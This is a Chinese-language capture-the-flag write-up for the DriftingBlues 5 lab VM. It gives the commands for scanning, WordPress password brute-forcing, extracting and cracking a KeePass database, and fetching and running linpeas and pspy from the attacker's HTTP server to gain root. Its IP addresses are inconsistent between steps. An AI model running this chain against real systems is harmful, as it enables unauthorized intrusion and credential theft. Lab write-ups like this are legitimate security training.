Driftingblues 5

Driftingblues:5

一、基本信息

名称:DriftingBlues:5

发布日期:2021.3.8

作者:tasiyanci

系列:DriftingBlues

推特:@tasiyanci

二、靶机简介

Flags:

gill:/~/user.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:driftingblues5_vh.ova

文件大小:715MB

下载地址:

MD5: 21E0290277C1523B3E9DEF173EA0FA66

SHA1: 371C270F8D2C8F65436F9BD52485E2128FC6365B

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机driftingblues5和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问主页查看源码,确定是wordpress搭建的页面:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.117 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,都是wordpress相关的目录内容:

1
gobuster dir -u http://192.168.56.117/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress用户密码爆破

1.扫描得到的结果都指向wordpress,则用wpscan进行扫描,可以得到5个用户及其密码:

1
wpscan --url http://192.168.56.117 --detection-mode aggressive -e --passwords=/home/kali/Desktop/rockyou.txt

image-

2.但是如果使用rockyou.txt作为密码字典要跑出对应密码相当消耗时间,合理可以用cewl生成一个较小的字典,能够得到gill用户的密码:

1
2
cewl -m 6 -w drift.txt http://192.168.56.117
wpscan --url http://192.168.56.117 --detection-mode aggressive -e u -P drift.txt

image-

3.进入wordpress管理后台,利用gill登录,但gill用户的权限不够,无法从wordpress后台写入webshell:

image-

SSH登录,初步提权

1.回到主页,结合目录扫描的结果,我们能在http://192.168.56.117/wp-content/uploads/2021/02/目录下发现主页调用的图片,其中dblogo.png是唯一没被使用到的图片,我们可以用exiftool查看一下:

image-

1
exiftool /home/kali/Downloads/dblogo.png

image-

2.得到了ssh的密码,我们尝试登录一下,发现其实就是全小写,并且找到第一个flag,user.txt:

image-

root提权

1.可以发现文件夹有keyfile.kdbx这个密码库文件,把这个文件获取到kali,用keepass2john解一下:

1
2
3
python3 -m http.server 8001,gill开启http服务
wget http://192.168.56.117:8001/keyfile.kdbx,kali获取密码库文件
keepass2john keyfile.kdbx | tee hash

image-

1
John hash –wordlist=rockyou.txt

image-

2.得到的porsiempre并不是root的密码,我们再把keyfile.kdbx放在https://app.keeweb.info/打开,得到的6个密码也不是root密码:

image-

3.回到gill用户下,查看具有sudo权限的应用,没有发现明显可用的应用:

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

image-

4.利用linpeas.sh进行扫描,发现root下有/keyfolder这个目录:

1
2
3
4
python3 -m http.server 8001,kali开放http服务
wget http://192.168.56.102:8001/linpeas.sh,gill获取linpeas工具
chmod +x linpeas.sh
./linpeas.sh

image-

5.我们查看/keyfolder这个目录,发现有其他用户可以在这个目录下写入:

image-

6.再利用pspy64s监视进程,发现/root/key.sh这个进程是定时执行的:

1
wget http://192.168.56.102:8001/pspy64s,gill获取pspy64s

image-

7.那么我们可以边让pspy64s进行监听,进入/keyfolder目录,将之前keyfile.kdbx内的密码一个个尝试,等待pspy64s监听到key.sh的一次执行,没有获得文件,就删去尝试的密码文件:

image-

8.rootcreds.txt的内容就是root用户的密码,提权后在/root目录下能够找到第二个flag,即root.txt:

image-

image-